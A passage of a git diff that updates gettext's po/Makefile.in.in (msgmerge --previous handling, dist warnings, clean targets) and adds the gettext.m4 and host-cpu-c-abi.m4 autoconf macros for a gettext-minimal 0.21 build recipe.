- $(MSGMERGE_UPDATE) $(MSGMERGE_OPTIONS) --lang=$${lang} $${lang}.po $(DOMAIN).pot;; \
+ $(MSGMERGE_UPDATE) $(MSGMERGE_OPTIONS) --lang=$${lang} --previous $${lang}.po $(DOMAIN).pot;; \
esac; \
}; \
else \
@@ -373,34 +391,41 @@ check: all
info dvi ps pdf html tags TAGS ctags CTAGS ID:
+install-dvi install-ps install-pdf install-html:
+
mostlyclean:
rm -f remove-potcdate.sed
- rm -f stamp-poT
+ rm -f $(srcdir)/stamp-poT
rm -f core core.* $(DOMAIN).po $(DOMAIN).1po $(DOMAIN).2po *.new.po
rm -fr *.o
clean: mostlyclean
distclean: clean
- rm -f Makefile Makefile.in POTFILES *.mo
+ rm -f Makefile Makefile.in POTFILES
maintainer-clean: distclean
@echo "This command is intended for maintainers to use;"
@echo "it deletes files that may require special tools to rebuild."
- rm -f stamp-po $(GMOFILES)
+ rm -f $(srcdir)/$(DOMAIN).pot $(srcdir)/stamp-po $(GMOFILES)
distdir = $(top_builddir)/$(PACKAGE)-$(VERSION)/$(subdir)
dist distdir:
test -z "$(DISTFILESDEPS)" || $(MAKE) $(DISTFILESDEPS)
@$(MAKE) dist2
# This is a separate target because 'update-po' must be executed before.
-dist2: stamp-po $(DISTFILES)
- dists="$(DISTFILES)"; \
+dist2: $(srcdir)/stamp-po $(DISTFILES)
+ @dists="$(DISTFILES)"; \
if test "$(PACKAGE)" = "gettext-tools"; then \
dists="$$dists Makevars.template"; \
fi; \
if test -f $(srcdir)/$(DOMAIN).pot; then \
dists="$$dists $(DOMAIN).pot stamp-po"; \
+ else \
+ case $(XGETTEXT) in \
+ :) echo "Warning: Creating a tarball without '$(DOMAIN).pot', because a suitable 'xgettext' program was not found in PATH." 1>&2;; \
+ *) echo "Warning: Creating a tarball without '$(DOMAIN).pot', because 'xgettext' found no strings to extract. Check the contents of the POTFILES.in file and the XGETTEXT_OPTIONS in the Makevars file." 1>&2;; \
+ esac; \
fi; \
if test -f $(srcdir)/ChangeLog; then \
dists="$$dists ChangeLog"; \
@@ -439,13 +464,15 @@ update-po: Makefile
tmpdir=`pwd`; \
echo "$$lang:"; \
test "$(srcdir)" = . && cdcmd="" || cdcmd="cd $(srcdir) && "; \
- echo "$${cdcmd}$(MSGMERGE) $(MSGMERGE_OPTIONS) --lang=$$lang $$lang.po $(DOMAIN).pot -o $$lang.new.po"; \
+ echo "$${cdcmd}$(MSGMERGE) $(MSGMERGE_OPTIONS) --lang=$$lang --previous $$lang.po $(DOMAIN).pot -o $$lang.new.po"; \
cd $(srcdir); \
if { case `$(MSGMERGE) --version | sed 1q | sed -e 's,^[^0-9]*,,'` in \
- '' | 0.[0-9] | 0.[0-9].* | 0.1[0-7] | 0.1[0-7].*) \
+ '' | 0.[0-9] | 0.[0-9].* | 0.1[0-5] | 0.1[0-5].*) \
$(MSGMERGE) $(MSGMERGE_OPTIONS) -o $$tmpdir/$$lang.new.po $$lang.po $(DOMAIN).pot;; \
+ 0.1[6-7] | 0.1[6-7].*) \
+ $(MSGMERGE) $(MSGMERGE_OPTIONS) --previous -o $$tmpdir/$$lang.new.po $$lang.po $(DOMAIN).pot;; \
*) \
- $(MSGMERGE) $(MSGMERGE_OPTIONS) --lang=$$lang -o $$tmpdir/$$lang.new.po $$lang.po $(DOMAIN).pot;; \
+ $(MSGMERGE) $(MSGMERGE_OPTIONS) --lang=$$lang --previous -o $$tmpdir/$$lang.new.po $$lang.po $(DOMAIN).pot;; \
esac; \
}; then \
if cmp $$lang.po $$tmpdir/$$lang.new.po >/dev/null 2>&1; then \
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/gettext.m4 b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/gettext.m4
new file mode 100644
index 0000000000..4f25a27d93
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/gettext.m4
@@ -0,0 +1,386 @@
+# gettext.m4 serial 71 (gettext-0.20.2)
+dnl Copyright (C) 1995-2014, 2016, 2018-2020 Free Software Foundation, Inc.
+dnl This file is free software; the Free Software Foundation
+dnl gives unlimited permission to copy and/or distribute it,
+dnl with or without modifications, as long as this notice is preserved.
+dnl
+dnl This file can be used in projects which are not available under
+dnl the GNU General Public License or the GNU Lesser General Public
+dnl License but which still want to provide support for the GNU gettext
+dnl functionality.
+dnl Please note that the actual code of the GNU gettext library is covered
+dnl by the GNU Lesser General Public License, and the rest of the GNU
+dnl gettext package is covered by the GNU General Public License.
+dnl They are *not* in the public domain.
+
+dnl Authors:
+dnl Ulrich Drepper <drepper@cygnus.com>, 1995-2000.
+dnl Bruno Haible <haible@clisp.cons.org>, 2000-2006, 2008-2010.
+
+dnl Macro to add for using GNU gettext.
+
+dnl Usage: AM_GNU_GETTEXT([INTLSYMBOL], [NEEDSYMBOL], [INTLDIR]).
+dnl INTLSYMBOL must be one of 'external', 'use-libtool'.
+dnl INTLSYMBOL should be 'external' for packages other than GNU gettext, and
+dnl 'use-libtool' for the packages 'gettext-runtime' and 'gettext-tools'.
+dnl If INTLSYMBOL is 'use-libtool', then a libtool library
+dnl $(top_builddir)/intl/libintl.la will be created (shared and/or static,
+dnl depending on --{enable,disable}-{shared,static} and on the presence of
+dnl AM-DISABLE-SHARED).
+dnl If NEEDSYMBOL is specified and is 'need-ngettext', then GNU gettext
+dnl implementations (in libc or libintl) without the ngettext() function
+dnl will be ignored. If NEEDSYMBOL is specified and is
+dnl 'need-formatstring-macros', then GNU gettext implementations that don't
+dnl support the ISO C 99 <inttypes.h> formatstring macros will be ignored.
+dnl INTLDIR is used to find the intl libraries. If empty,
+dnl the value '$(top_builddir)/intl/' is used.
+dnl
+dnl The result of the configuration is one of three cases:
+dnl 1) GNU gettext, as included in the intl subdirectory, will be compiled
+dnl and used.
+dnl Catalog format: GNU --> install in $(datadir)
+dnl Catalog extension: .mo after installation, .gmo in source tree
+dnl 2) GNU gettext has been found in the system's C library.
+dnl Catalog format: GNU --> install in $(datadir)
+dnl Catalog extension: .mo after installation, .gmo in source tree
+dnl 3) No internationalization, always use English msgid.
+dnl Catalog format: none
+dnl Catalog extension: none
+dnl If INTLSYMBOL is 'external', only cases 2 and 3 can occur.
+dnl The use of .gmo is historical (it was needed to avoid overwriting the
+dnl GNU format catalogs when building on a platform with an X/Open gettext),
+dnl but we keep it in order not to force irrelevant filename changes on the
+dnl maintainers.
+dnl
+AC_DEFUN([AM_GNU_GETTEXT],
+[
+ dnl Argument checking.
+ ifelse([$1], [], , [ifelse([$1], [external], , [ifelse([$1], [use-libtool], ,
+ [errprint([ERROR: invalid first argument to AM_GNU_GETTEXT
+])])])])
+ ifelse(ifelse([$1], [], [old])[]ifelse([$1], [no-libtool], [old]), [old],
+ [errprint([ERROR: Use of AM_GNU_GETTEXT without [external] argument is no longer supported.
+])])
+ ifelse([$2], [], , [ifelse([$2], [need-ngettext], , [ifelse([$2], [need-formatstring-macros], ,
+ [errprint([ERROR: invalid second argument to AM_GNU_GETTEXT
+])])])])
+ define([gt_included_intl],
+ ifelse([$1], [external], [no], [yes]))
+ gt_NEEDS_INIT
+ AM_GNU_GETTEXT_NEED([$2])
+
+ AC_REQUIRE([AM_PO_SUBDIRS])dnl
+ ifelse(gt_included_intl, yes, [
+ AC_REQUIRE([AM_INTL_SUBDIR])dnl
+ ])
+
+ dnl Prerequisites of AC_LIB_LINKFLAGS_BODY.
+ AC_REQUIRE([AC_LIB_PREPARE_PREFIX])
+ AC_REQUIRE([AC_LIB_RPATH])
+
+ dnl Sometimes libintl requires libiconv, so first search for libiconv.
+ dnl Ideally we would do this search only after the
+ dnl if test "$USE_NLS" = "yes"; then
+ dnl if { eval "gt_val=\$$gt_func_gnugettext_libc"; test "$gt_val" != "yes"; }; then
+ dnl tests. But if configure.in invokes AM_ICONV after AM_GNU_GETTEXT
+ dnl the configure script would need to contain the same shell code
+ dnl again, outside any 'if'. There are two solutions:
+ dnl - Invoke AM_ICONV_LINKFLAGS_BODY here, outside any 'if'.
+ dnl - Control the expansions in more detail using AC_PROVIDE_IFELSE.
+ dnl Since AC_PROVIDE_IFELSE is not documented, we avoid it.
+ ifelse(gt_included_intl, yes, , [
+ AC_REQUIRE([AM_ICONV_LINKFLAGS_BODY])
+ ])
+
+ dnl Sometimes, on Mac OS X, libintl requires linking with CoreFoundation.
+ gt_INTL_MACOSX
+
+ dnl Set USE_NLS.
+ AC_REQUIRE([AM_NLS])
+
+ ifelse(gt_included_intl, yes, [
+ BUILD_INCLUDED_LIBINTL=no
+ USE_INCLUDED_LIBINTL=no
+ ])
+ LIBINTL=
+ LTLIBINTL=
+ POSUB=
+
+ dnl Add a version number to the cache macros.
+ case " $gt_needs " in
+ *" need-formatstring-macros "*) gt_api_version=3 ;;
+ *" need-ngettext "*) gt_api_version=2 ;;
+ *) gt_api_version=1 ;;
+ esac
+ gt_func_gnugettext_libc="gt_cv_func_gnugettext${gt_api_version}_libc"
+ gt_func_gnugettext_libintl="gt_cv_func_gnugettext${gt_api_version}_libintl"
+
+ dnl If we use NLS figure out what method
+ if test "$USE_NLS" = "yes"; then
+ gt_use_preinstalled_gnugettext=no
+ ifelse(gt_included_intl, yes, [
+ AC_MSG_CHECKING([whether included gettext is requested])
+ AC_ARG_WITH([included-gettext],
+ [ --with-included-gettext use the GNU gettext library included here],
+ nls_cv_force_use_gnu_gettext=$withval,
+ nls_cv_force_use_gnu_gettext=no)
+ AC_MSG_RESULT([$nls_cv_force_use_gnu_gettext])
+
+ nls_cv_use_gnu_gettext="$nls_cv_force_use_gnu_gettext"
+ if test "$nls_cv_force_use_gnu_gettext" != "yes"; then
+ ])
+ dnl User does not insist on using GNU NLS library. Figure out what
+ dnl to use. If GNU gettext is available we use this. Else we have
+ dnl to fall back to GNU NLS library.
+
+ if test $gt_api_version -ge 3; then
+ gt_revision_test_code='
+#ifndef __GNU_GETTEXT_SUPPORTED_REVISION
+#define __GNU_GETTEXT_SUPPORTED_REVISION(major) ((major) == 0 ? 0 : -1)
+#endif
+changequote(,)dnl
+typedef int array [2 * (__GNU_GETTEXT_SUPPORTED_REVISION(0) >= 1) - 1];
+changequote([,])dnl
+'
+ else
+ gt_revision_test_code=
+ fi
+ if test $gt_api_version -ge 2; then
+ gt_expression_test_code=' + * ngettext ("", "", 0)'
+ else
+ gt_expression_test_code=
+ fi
+
+ AC_CACHE_CHECK([for GNU gettext in libc], [$gt_func_gnugettext_libc],
+ [AC_LINK_IFELSE(
+ [AC_LANG_PROGRAM(
+ [[
+#include <libintl.h>
+#ifndef __GNU_GETTEXT_SUPPORTED_REVISION
+extern int _nl_msg_cat_cntr;
+extern int *_nl_domain_bindings;
+#define __GNU_GETTEXT_SYMBOL_EXPRESSION (_nl_msg_cat_cntr + *_nl_domain_bindings)
+#else
+#define __GNU_GETTEXT_SYMBOL_EXPRESSION 0
+#endif
+$gt_revision_test_code
+ ]],
+ [[
+bindtextdomain ("", "");
+return * gettext ("")$gt_expression_test_code + __GNU_GETTEXT_SYMBOL_EXPRESSION
+ ]])],
+ [eval "$gt_func_gnugettext_libc=yes"],
+ [eval "$gt_func_gnugettext_libc=no"])])
+
+ if { eval "gt_val=\$$gt_func_gnugettext_libc"; test "$gt_val" != "yes"; }; then
+ dnl Sometimes libintl requires libiconv, so first search for libiconv.
+ ifelse(gt_included_intl, yes, , [
+ AM_ICONV_LINK
+ ])
+ dnl Search for libintl and define LIBINTL, LTLIBINTL and INCINTL
+ dnl accordingly. Don't use AC_LIB_LINKFLAGS_BODY([intl],[iconv])
+ dnl because that would add "-liconv" to LIBINTL and LTLIBINTL
+ dnl even if libiconv doesn't exist.
+ AC_LIB_LINKFLAGS_BODY([intl])
+ AC_CACHE_CHECK([for GNU gettext in libintl],
+ [$gt_func_gnugettext_libintl],
+ [gt_save_CPPFLAGS="$CPPFLAGS"
+ CPPFLAGS="$CPPFLAGS $INCINTL"
+ gt_save_LIBS="$LIBS"
+ LIBS="$LIBS $LIBINTL"
+ dnl Now see whether libintl exists and does not depend on libiconv.
+ AC_LINK_IFELSE(
+ [AC_LANG_PROGRAM(
+ [[
+#include <libintl.h>
+#ifndef __GNU_GETTEXT_SUPPORTED_REVISION
+extern int _nl_msg_cat_cntr;
+extern
+#ifdef __cplusplus
+"C"
+#endif
+const char *_nl_expand_alias (const char *);
+#define __GNU_GETTEXT_SYMBOL_EXPRESSION (_nl_msg_cat_cntr + *_nl_expand_alias (""))
+#else
+#define __GNU_GETTEXT_SYMBOL_EXPRESSION 0
+#endif
+$gt_revision_test_code
+ ]],
+ [[
+bindtextdomain ("", "");
+return * gettext ("")$gt_expression_test_code + __GNU_GETTEXT_SYMBOL_EXPRESSION
+ ]])],
+ [eval "$gt_func_gnugettext_libintl=yes"],
+ [eval "$gt_func_gnugettext_libintl=no"])
+ dnl Now see whether libintl exists and depends on libiconv.
+ if { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" != yes; } && test -n "$LIBICONV"; then
+ LIBS="$LIBS $LIBICONV"
+ AC_LINK_IFELSE(
+ [AC_LANG_PROGRAM(
+ [[
+#include <libintl.h>
+#ifndef __GNU_GETTEXT_SUPPORTED_REVISION
+extern int _nl_msg_cat_cntr;
+extern
+#ifdef __cplusplus
+"C"
+#endif
+const char *_nl_expand_alias (const char *);
+#define __GNU_GETTEXT_SYMBOL_EXPRESSION (_nl_msg_cat_cntr + *_nl_expand_alias (""))
+#else
+#define __GNU_GETTEXT_SYMBOL_EXPRESSION 0
+#endif
+$gt_revision_test_code
+ ]],
+ [[
+bindtextdomain ("", "");
+return * gettext ("")$gt_expression_test_code + __GNU_GETTEXT_SYMBOL_EXPRESSION
+ ]])],
+ [LIBINTL="$LIBINTL $LIBICONV"
+ LTLIBINTL="$LTLIBINTL $LTLIBICONV"
+ eval "$gt_func_gnugettext_libintl=yes"
+ ])
+ fi
+ CPPFLAGS="$gt_save_CPPFLAGS"
+ LIBS="$gt_save_LIBS"])
+ fi
+
+ dnl If an already present or preinstalled GNU gettext() is found,
+ dnl use it. But if this macro is used in GNU gettext, and GNU
+ dnl gettext is already preinstalled in libintl, we update this
+ dnl libintl. (Cf. the install rule in intl/Makefile.in.)
+ if { eval "gt_val=\$$gt_func_gnugettext_libc"; test "$gt_val" = "yes"; } \
+ || { { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" = "yes"; } \
+ && test "$PACKAGE" != gettext-runtime \
+ && test "$PACKAGE" != gettext-tools; }; then
+ gt_use_preinstalled_gnugettext=yes
+ else
+ dnl Reset the values set by searching for libintl.
+ LIBINTL=
+ LTLIBINTL=
+ INCINTL=
+ fi
+
+ ifelse(gt_included_intl, yes, [
+ if test "$gt_use_preinstalled_gnugettext" != "yes"; then
+ dnl GNU gettext is not found in the C library.
+ dnl Fall back on included GNU gettext library.
+ nls_cv_use_gnu_gettext=yes
+ fi
+ fi
+
+ if test "$nls_cv_use_gnu_gettext" = "yes"; then
+ dnl Mark actions used to generate GNU NLS library.
+ BUILD_INCLUDED_LIBINTL=yes
+ USE_INCLUDED_LIBINTL=yes
+ LIBINTL="ifelse([$3],[],\${top_builddir}/intl,[$3])/libintl.la $LIBICONV $LIBTHREAD"
+ LTLIBINTL="ifelse([$3],[],\${top_builddir}/intl,[$3])/libintl.la $LTLIBICONV $LTLIBTHREAD"
+ LIBS=`echo " $LIBS " | sed -e 's/ -lintl / /' -e 's/^ //' -e 's/ $//'`
+ fi
+
+ CATOBJEXT=
+ if test "$gt_use_preinstalled_gnugettext" = "yes" \
+ || test "$nls_cv_use_gnu_gettext" = "yes"; then
+ dnl Mark actions to use GNU gettext tools.
+ CATOBJEXT=.gmo
+ fi
+ ])
+
+ if test -n "$INTL_MACOSX_LIBS"; then
+ if test "$gt_use_preinstalled_gnugettext" = "yes" \
+ || test "$nls_cv_use_gnu_gettext" = "yes"; then
+ dnl Some extra flags are needed during linking.
+ LIBINTL="$LIBINTL $INTL_MACOSX_LIBS"
+ LTLIBINTL="$LTLIBINTL $INTL_MACOSX_LIBS"
+ fi
+ fi
+
+ if test "$gt_use_preinstalled_gnugettext" = "yes" \
+ || test "$nls_cv_use_gnu_gettext" = "yes"; then
+ AC_DEFINE([ENABLE_NLS], [1],
+ [Define to 1 if translation of program messages to the user's native language
+ is requested.])
+ else
+ USE_NLS=no
+ fi
+ fi
+
+ AC_MSG_CHECKING([whether to use NLS])
+ AC_MSG_RESULT([$USE_NLS])
+ if test "$USE_NLS" = "yes"; then
+ AC_MSG_CHECKING([where the gettext function comes from])
+ if test "$gt_use_preinstalled_gnugettext" = "yes"; then
+ if { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" = "yes"; }; then
+ gt_source="external libintl"
+ else
+ gt_source="libc"
+ fi
+ else
+ gt_source="included intl directory"
+ fi
+ AC_MSG_RESULT([$gt_source])
+ fi
+
+ if test "$USE_NLS" = "yes"; then
+
+ if test "$gt_use_preinstalled_gnugettext" = "yes"; then
+ if { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" = "yes"; }; then
+ AC_MSG_CHECKING([how to link with libintl])
+ AC_MSG_RESULT([$LIBINTL])
+ AC_LIB_APPENDTOVAR([CPPFLAGS], [$INCINTL])
+ fi
+
+ dnl For backward compatibility. Some packages may be using this.
+ AC_DEFINE([HAVE_GETTEXT], [1],
+ [Define if the GNU gettext() function is already present or preinstalled.])
+ AC_DEFINE([HAVE_DCGETTEXT], [1],
+ [Define if the GNU dcgettext() function is already present or preinstalled.])
+ fi
+
+ dnl We need to process the po/ directory.
+ POSUB=po
+ fi
+
+ ifelse(gt_included_intl, yes, [
+ dnl In GNU gettext we have to set BUILD_INCLUDED_LIBINTL to 'yes'
+ dnl because some of the testsuite requires it.
+ BUILD_INCLUDED_LIBINTL=yes
+
+ dnl Make all variables we use known to autoconf.
+ AC_SUBST([BUILD_INCLUDED_LIBINTL])
+ AC_SUBST([USE_INCLUDED_LIBINTL])
+ AC_SUBST([CATOBJEXT])
+ ])
+
+ dnl For backward compatibility. Some Makefiles may be using this.
+ INTLLIBS="$LIBINTL"
+ AC_SUBST([INTLLIBS])
+
+ dnl Make all documented variables known to autoconf.
+ AC_SUBST([LIBINTL])
+ AC_SUBST([LTLIBINTL])
+ AC_SUBST([POSUB])
+])
+
+
+dnl gt_NEEDS_INIT ensures that the gt_needs variable is initialized.
+m4_define([gt_NEEDS_INIT],
+[
+ m4_divert_text([DEFAULTS], [gt_needs=])
+ m4_define([gt_NEEDS_INIT], [])
+])
+
+
+dnl Usage: AM_GNU_GETTEXT_NEED([NEEDSYMBOL])
+AC_DEFUN([AM_GNU_GETTEXT_NEED],
+[
+ m4_divert_text([INIT_PREPARE], [gt_needs="$gt_needs $1"])
+])
+
+
+dnl Usage: AM_GNU_GETTEXT_VERSION([gettext-version])
+AC_DEFUN([AM_GNU_GETTEXT_VERSION], [])
+
+
+dnl Usage: AM_GNU_GETTEXT_REQUIRE_VERSION([gettext-version])
+AC_DEFUN([AM_GNU_GETTEXT_REQUIRE_VERSION], [])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/host-cpu-c-abi.m4 b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/host-cpu-c-abi.m4
new file mode 100644
index 0000000000..6db2aa25ae
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/host-cpu-c-abi.m4
@@ -0,0 +1,675 @@
+# host-cpu-c-abi.m4 serial 13
+dnl Copyright (C) 2002-2020 Free Software Foundation, Inc.
+dnl This file is free software; the Free Software Foundation
+dnl gives unlimited permission to copy and/or distribute it,
+dnl with or without modifications, as long as this notice is preserved.
+
+dnl From Bruno Haible and Sam Steingold.
+
+dnl Sets the HOST_CPU variable to the canonical name of the CPU.
+dnl Sets the HOST_CPU_C_ABI variable to the canonical name of the CPU with its
+dnl C language ABI (application binary interface).
+dnl Also defines __${HOST_CPU}__ and __${HOST_CPU_C_ABI}__ as C macros in
+dnl config.h.
+dnl
+dnl This canonical name can be used to select a particular assembly language
+dnl source file that will interoperate with C code on the given host.
+dnl
+dnl For example:
+dnl * 'i386' and 'sparc' are different canonical names, because code for i386
+dnl will not run on SPARC CPUs and vice versa. They have different
+dnl instruction sets.
+dnl * 'sparc' and 'sparc64' are different canonical names, because code for
+dnl 'sparc' and code for 'sparc64' cannot be linked together: 'sparc' code
+dnl contains 32-bit instructions, whereas 'sparc64' code contains 64-bit
+dnl instructions. A process on a SPARC CPU can be in 32-bit mode or in 64-bit
+dnl mode, but not both.
+dnl * 'mips' and 'mipsn32' are different canonical names, because they use
+dnl different argument passing and return conventions for C functions, and
+dnl although the instruction set of 'mips' is a large subset of the
+dnl instruction set of 'mipsn32'.
+dnl * 'mipsn32' and 'mips64' are different canonical names, because they use
+dnl different sizes for the C types like 'int' and 'void *', and although
+dnl the instruction sets of 'mipsn32' and 'mips64' are the same.
+dnl * The same canonical name is used for different endiannesses. You can
+dnl determine the endianness through preprocessor symbols:
+dnl - 'arm': test __ARMEL__.
+dnl - 'mips', 'mipsn32', 'mips64': test _MIPSEB vs. _MIPSEL.
+dnl - 'powerpc64': test _BIG_ENDIAN vs. _LITTLE_ENDIAN.
+dnl * The same name 'i386' is used for CPUs of type i386, i486, i586
+dnl (Pentium), AMD K7, Pentium II, Pentium IV, etc., because
+dnl - Instructions that do not exist on all of these CPUs (cmpxchg,
+dnl MMX, SSE, SSE2, 3DNow! etc.) are not frequently used. If your
+dnl assembly language source files use such instructions, you will
+dnl need to make the distinction.
+dnl - Speed of execution of the common instruction set is reasonable across
+dnl the entire family of CPUs. If you have assembly language source files
+dnl that are optimized for particular CPU types (like GNU gmp has), you
+dnl will need to make the distinction.
+dnl See <https://en.wikipedia.org/wiki/X86_instruction_listings>.
+AC_DEFUN([gl_HOST_CPU_C_ABI],
+[
+ AC_REQUIRE([AC_CANONICAL_HOST])
+ AC_REQUIRE([gl_C_ASM])
+ AC_CACHE_CHECK([host CPU and C ABI], [gl_cv_host_cpu_c_abi],
+ [case "$host_cpu" in
+
+changequote(,)dnl
+ i[34567]86 )
+changequote([,])dnl
+ gl_cv_host_cpu_c_abi=i386
+ ;;
+
+ x86_64 )
+ # On x86_64 systems, the C compiler may be generating code in one of
+ # these ABIs:
+ # - 64-bit instruction set, 64-bit pointers, 64-bit 'long': x86_64.
+ # - 64-bit instruction set, 64-bit pointers, 32-bit 'long': x86_64
+ # with native Windows (mingw, MSVC).
+ # - 64-bit instruction set, 32-bit pointers, 32-bit 'long': x86_64-x32.
+ # - 32-bit instruction set, 32-bit pointers, 32-bit 'long': i386.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if (defined __x86_64__ || defined __amd64__ \
+ || defined _M_X64 || defined _M_AMD64)
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined __ILP32__ || defined _ILP32
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi=x86_64-x32],
+ [gl_cv_host_cpu_c_abi=x86_64])],
+ [gl_cv_host_cpu_c_abi=i386])
+ ;;
+
+changequote(,)dnl
+ alphaev[4-8] | alphaev56 | alphapca5[67] | alphaev6[78] )
+changequote([,])dnl
+ gl_cv_host_cpu_c_abi=alpha
+ ;;
+
+ arm* | aarch64 )
+ # Assume arm with EABI.
+ # On arm64 systems, the C compiler may be generating code in one of
+ # these ABIs:
+ # - aarch64 instruction set, 64-bit pointers, 64-bit 'long': arm64.
+ # - aarch64 instruction set, 32-bit pointers, 32-bit 'long': arm64-ilp32.
+ # - 32-bit instruction set, 32-bit pointers, 32-bit 'long': arm or armhf.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#ifdef __aarch64__
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined __ILP32__ || defined _ILP32
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi=arm64-ilp32],
+ [gl_cv_host_cpu_c_abi=arm64])],
+ [# Don't distinguish little-endian and big-endian arm, since they
+ # don't require different machine code for simple operations and
+ # since the user can distinguish them through the preprocessor
+ # defines __ARMEL__ vs. __ARMEB__.
+ # But distinguish arm which passes floating-point arguments and
+ # return values in integer registers (r0, r1, ...) - this is
+ # gcc -mfloat-abi=soft or gcc -mfloat-abi=softfp - from arm which
+ # passes them in float registers (s0, s1, ...) and double registers
+ # (d0, d1, ...) - this is gcc -mfloat-abi=hard. GCC 4.6 or newer
+ # sets the preprocessor defines __ARM_PCS (for the first case) and
+ # __ARM_PCS_VFP (for the second case), but older GCC does not.
+ echo 'double ddd; void func (double dd) { ddd = dd; }' > conftest.c
+ # Look for a reference to the register d0 in the .s file.
+ AC_TRY_COMMAND(${CC-cc} $CFLAGS $CPPFLAGS $gl_c_asm_opt conftest.c) >/dev/null 2>&1
+ if LC_ALL=C grep 'd0,' conftest.$gl_asmext >/dev/null; then
+ gl_cv_host_cpu_c_abi=armhf
+ else
+ gl_cv_host_cpu_c_abi=arm
+ fi
+ rm -f conftest*
+ ])
+ ;;
+
+ hppa1.0 | hppa1.1 | hppa2.0* | hppa64 )
+ # On hppa, the C compiler may be generating 32-bit code or 64-bit
+ # code. In the latter case, it defines _LP64 and __LP64__.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#ifdef __LP64__
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi=hppa64],
+ [gl_cv_host_cpu_c_abi=hppa])
+ ;;
+
+ ia64* )
+ # On ia64 on HP-UX, the C compiler may be generating 64-bit code or
+ # 32-bit code. In the latter case, it defines _ILP32.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#ifdef _ILP32
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi=ia64-ilp32],
+ [gl_cv_host_cpu_c_abi=ia64])
+ ;;
+
+ mips* )
+ # We should also check for (_MIPS_SZPTR == 64), but gcc keeps this
+ # at 32.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined _MIPS_SZLONG && (_MIPS_SZLONG == 64)
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi=mips64],
+ [# In the n32 ABI, _ABIN32 is defined, _ABIO32 is not defined (but
+ # may later get defined by <sgidefs.h>), and _MIPS_SIM == _ABIN32.
+ # In the 32 ABI, _ABIO32 is defined, _ABIN32 is not defined (but
+ # may later get defined by <sgidefs.h>), and _MIPS_SIM == _ABIO32.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if (_MIPS_SIM == _ABIN32)
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi=mipsn32],
+ [gl_cv_host_cpu_c_abi=mips])])
+ ;;
+
+ powerpc* )
+ # Different ABIs are in use on AIX vs. Mac OS X vs. Linux,*BSD.
+ # No need to distinguish them here; the caller may distinguish
+ # them based on the OS.
+ # On powerpc64 systems, the C compiler may still be generating
+ # 32-bit code. And on powerpc-ibm-aix systems, the C compiler may
+ # be generating 64-bit code.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined __powerpc64__ || defined _ARCH_PPC64
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [# On powerpc64, there are two ABIs on Linux: The AIX compatible
+ # one and the ELFv2 one. The latter defines _CALL_ELF=2.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined _CALL_ELF && _CALL_ELF == 2
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi=powerpc64-elfv2],
+ [gl_cv_host_cpu_c_abi=powerpc64])
+ ],
+ [gl_cv_host_cpu_c_abi=powerpc])
+ ;;
+
+ rs6000 )
+ gl_cv_host_cpu_c_abi=powerpc
+ ;;
+
+ riscv32 | riscv64 )
+ # There are 2 architectures (with variants): rv32* and rv64*.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if __riscv_xlen == 64
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [cpu=riscv64],
+ [cpu=riscv32])
+ # There are 6 ABIs: ilp32, ilp32f, ilp32d, lp64, lp64f, lp64d.
+ # Size of 'long' and 'void *':
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined __LP64__
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [main_abi=lp64],
+ [main_abi=ilp32])
+ # Float ABIs:
+ # __riscv_float_abi_double:
+ # 'float' and 'double' are passed in floating-point registers.
+ # __riscv_float_abi_single:
+ # 'float' are passed in floating-point registers.
+ # __riscv_float_abi_soft:
+ # No values are passed in floating-point registers.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined __riscv_float_abi_double
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [float_abi=d],
+ [AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined __riscv_float_abi_single
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [float_abi=f],
+ [float_abi=''])
+ ])
+ gl_cv_host_cpu_c_abi="${cpu}-${main_abi}${float_abi}"
+ ;;
+
+ s390* )
+ # On s390x, the C compiler may be generating 64-bit (= s390x) code
+ # or 31-bit (= s390) code.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
